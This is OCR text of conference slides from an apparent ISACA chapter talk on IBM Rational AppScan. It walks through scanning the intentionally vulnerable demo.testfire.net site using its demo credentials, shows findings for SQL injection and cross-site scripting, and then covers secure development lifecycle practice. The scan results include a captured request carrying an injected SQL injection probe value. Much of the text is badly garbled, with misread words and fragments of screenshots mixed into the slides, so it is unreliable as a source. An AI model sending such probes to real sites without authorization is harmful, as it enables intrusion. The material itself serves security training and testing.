[@5 Browse...

Predefined Templates
A vefaute

] demo.testfirenet
}-ﬂ Hacme Bank

&) WebGoat v4

i

¥ Launch Scan Configuration 'wizard

Help

San Francizco Chapler
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Type of Scan

* Select the type of scan you wish to perform
* Select Web Application Scan

¢ Click Next
=

Welcome to the Configuration Wizard

The Configuration Wizard wil help you configure = new
scan based on the scan template: Default

Select the type of scan you wish to perfor
@ Web Applisation Sean
€ Web Service Scan

@ watcHfre

L BALUY

Help cga | [ Hets | Cancel

‘ln- = -
o

San Francizco Chapler

What to scan

* Select the scanned application
e Type http://demo.testfire.net
* Click Next >

Scan Configuration Wizard B
Application Settings - Step 1/3
Indicate the URL where the scan should start

X
© x

Starting URL
[itp://demo testfire net -

For example: hitp://demo testfire.net/

Advanced | Teset additional servers and domains. or cther advanced
= application settings, click Advanced.

Help <Back | [ Nea> | Cancel

COMERGED e

San Francizco Chapler
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Login

* Choose Automatic login

* User name: jsmith Password: Demo1234
e Click Next |

Application Login - Step 2/3 G (@ Y
Select the login methad that you wish AppScan to use whenever login is required. %

N ote . yo u m ay Wa nt to " Recorded Login (recommended method)
) fevy.. Load.. Edit...
i I Branipt the user each tie laginie requied
C h OOS e t h e reco rd O pt I o n [Select this option for Two-Factor Authentication, One-Time

Passwords, CAPTCHA, ]
and follow the steps  Automatic Lagin
User Name: fomin
Password: W
Confitm Password [osssesad]

£ No Login

Help <Back | [ Hews | Cancel |

San Francizco Chapler

What to test

Load Test Policy x|

| Select atest policy file to load. Loading a new test policy will
discard the current test palicy.

Select the test policy
e Click on ‘Load’

* Select ‘Application-Only’ |Defaut =
* Click OK Inzstracture Orly

e Click Next

¥ Pre-Defined Test Policy Files

Irvvasive

The Vital Few

FO r t h iS exe rCise we Wi | | test a tTeTtsspDhcy includes all tests except invasive and port listener ;l

just for application level =
Created: Monday, 12 Movember, 2008, 15:46:20

vulnerabilities Mocified: Monday, 13 November, 2006, 15:45:20

Help LCancel |

coﬁ_?i@:gﬁ_if —HSACA

San Francizco Chapler
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Start the scan

¢ Select ‘Start a full automatic scan’

Completing the Configuration Wizard

AppScan will perform
Explore and execute Lo sy completedthe Sean

Te Sts Howe do pou veant to start?
& Start a full automatic scan
€ Stant with automatic Explore only

 Start with Manual Explare

w WatCHﬁRe' O 1 will stan the sean later

AppScan® |
p < Back | FEinish I LCancel I

CONBE —ISACA

GE soel
—_— San Francisco Chapter

View the results

Untitled - Watchfire AppScan =]
Fle Edt Wew Scan Tools Help Plugins
K Q

J2 H S0 08X P

View My Application [40) Ananged By: Severity | Highest on top |
= B9 33”'/” [2"]' testie.net! 190) & 40 Securit Issues (148 variants) for My Application’
comment aspi (2) @ Biind 50L Injection (3) =
. @) default asps @ Cioss-Site Seipting (4]
Secuity |ssuss ) disclaimet kit @ HTTP Response Spltting (1]
feedback.aspr (1) @ Login Page 30U Iniection 2]
=) search.aspy (1) @ 350U Iniection (3]
subscribe. st @ ¥Path Iniection (1]
Remediation Tasks survey_questians. sspy W Cookie Poisoning SOL Injection (1]
bark [34] W Predictable Login Credentials [1) =
a7 —_—
g accourtaspr (31 i) dvisowy| 7 Fiecommendation ¥ Request/Resporse |
Applcation Data gizﬂﬁiﬁi‘x W | e | tefase ) |[Test oignal | ™, 0 | Hide Properties
|2 lagin.asen (14) (D] Show in Browser || Repark False Positive  Manual Test
|2 logout.aspx POST /bank/transaction.aspx HTTP/1.( 4
=] main asps Cookie: langs; amCreditOffer=CardTy| i Soreenshol |- Comments |
Content-Length: 143 27 Variant Details
2 queppathasen (4] | 220050 S
|28 tansaction.asps (7) | |Accept-Language: en-us 1D: 8297 a
| transfer.aspy User-Agent: Mozilla/4.0 (compatible §
Host: altoro.testfire.net Difference:
Content-Type: applicationx-waw-for:  The folowing changes were
Referer: http:/faltoro.testfire.net,  appliedio the original request
« Set parameter ‘after's value to
| EVENTTARGET=d_ EVENTARGUMENT=8_ V.  '1234%27%30"
HTTP /1.1 500 Trternal Server rrmn_'_l Reas E|
4 Then

Visited URLs 45/45 Completed Tests 4392/4392 [ MSecuiylsse:s | @16 T3 D14 @7
cgmgp@." ENERGE HSACA
VEREDERG :
1 San Francisco Chapter
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Module 5: An Enterprise Vision

4

g

—

San Francizco Chapler

&

Business
Owner

Asking the Wrong Question

& & @

Developer QA Test Security

Auditor
Why isn’t the What’s wrong Where are the What is our risk
app working? with the code? the bugs? exposure?

What are the root causes?

4

[

—

San Francizco Chapler
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COoBEDNR :

Understanding the Root
Causes

Takes the focus off the symptoms

Eliminates over-reporting

Highlights pro-active security

Can help build education programs

CHASING VULNERABILITIES DOESN'T WORK

= Online Risk Management for the
L Enterprise
People
Technology
CoNBE e THACA
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=T

= |_Process |
The People Factor T
| soton |
* Repeatable, measurable education system
— Eight principles of security
— Six primary threat classifications
* Resource library
— Corporate policy
— Best practices
— Specific process with security artifacts
* Feedback Loop
— Development, QA and Internal
— Support and External
* NMEASUREMENT :
NP —14SACA
: [ People |
PI’OCESS
— The Process Factor ™/
* Defined secure lifecycle
— Risk Profiling
— Architectural Risk Analysis / Threat Modeling
— Defined inputs and outputs
— Checkpoints and Gates
* Feedback loop for process improvement
— Internal
— External
* MEASUREMENT

WG

San Francizco Chapler
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|

[_People |
| Process |

The Technology Factor

e Automated analysis

— Strengths
e Technical

vulnerabilities

e Scale and cost

— Weaknesses

 Architectural and logical design flaws

e Manual analysis

— Strengths

¢ The “human factor”

* Design flaws

— Weaknesses

e Costly (time and money)

‘ln- = -
o

San Francizco Chapler

Design

« Architectural Risk
Analysis

« Threat Modeling
« Abuse Cases

Define

 Assign Security
Expert
« Risk Analysis

COMERGED e

Build

* Component Testing
= Peer Code Review
 Build Testing

The Foundation

1. Playbook

2. Resource Library
3. Enterprise Metrics
4.SDLC

5. Training Program

:
Security Considerations in the SDLC

Test

* QA Testing
* Formal Security
Assessment

* Formal Code Review

Deploy

* Quarterly Audit

San Francizco Chapler

63



:

— Outsourcing?

Test

* Formal Security
Assessment

Define Deploy

 Assign Security
Expert
* Risk Analysis

* Quarterly Audit

The Foundation

1. Playbook

2. Resource Library
3. Enterprise Metrics
4.SDLC

5. Training Program

= Foundation Components K==
N =
e Playbook

— Corporate Policy
— Exception Handling

* Resource Library
— Security Principles
— Threat Classification
— Certified Components
— Feedback Mechanism (Inside, Outside)

O ~HsAcA
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Application Security - When?

Black Box

Risk Profile Threat Modeling Component Tests QA Audits Security Quarterly
lBuiId Audits Assessment Audits
[ Code
Build Audits QA Audits Review

White Box

San Francizco Chapler

Financial Impact =

: 100X
-
Cost to Fix dramatically increases

o .

'g the longer you wait to test

@

[mm]

e ) -

L

]

@

S

6.5X

=

<

feb]

o 1X

Design Development Testing Deployment
& Operations
g 8mM it 8mM
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- Security Testing In the Software Lifecycle
| SDLC |
l Coding Build QA Security Production |

S
Developers =

Developers

San Francizco Chapler

A=
Application Security Maturity Mode| =
Phase 1 Phase 2 Phase 3
High
Security Team
Security Team
o A Team
Difficulty : Q Criticality
& Cost of ||| Security & Risk of
Test Team App.
QA Team Development Team
Low
Low High

ﬁ- —u 1
CONVERGERERGE
_—

% Applications Tested
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Q&A

Questions?

mﬁ_@@@&s —HSACA
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Additional Resources

* OWASP

— Www.owasp.org

— Top Ten List
— Secure Development

e Web Application Security Consortium

— www.webappsec.org

— Threat Classification
— Web Hacking Incidents Database

CoNEED e ~ISACA
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Additional Resources

* Download free trial of IBM Rational AppScan 7.8:

http://www.ibm.com/developerworks/downloads/r/appscan/

e Library: Whitepapers, analyst reports, brochures, etc:
http://www-306.ibm.com/software/rational/sw-library/

e |IBM Rational upcoming events:
http://www-306.ibm.com/software/rational/events 1.html

San Francizco Chapler
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Thanks for joining me today!

Armando Bioc
Office: 650-592-5274

abioc@us.ibm.com
www-306.ibm.com/software/rational/offerings/websecurity/
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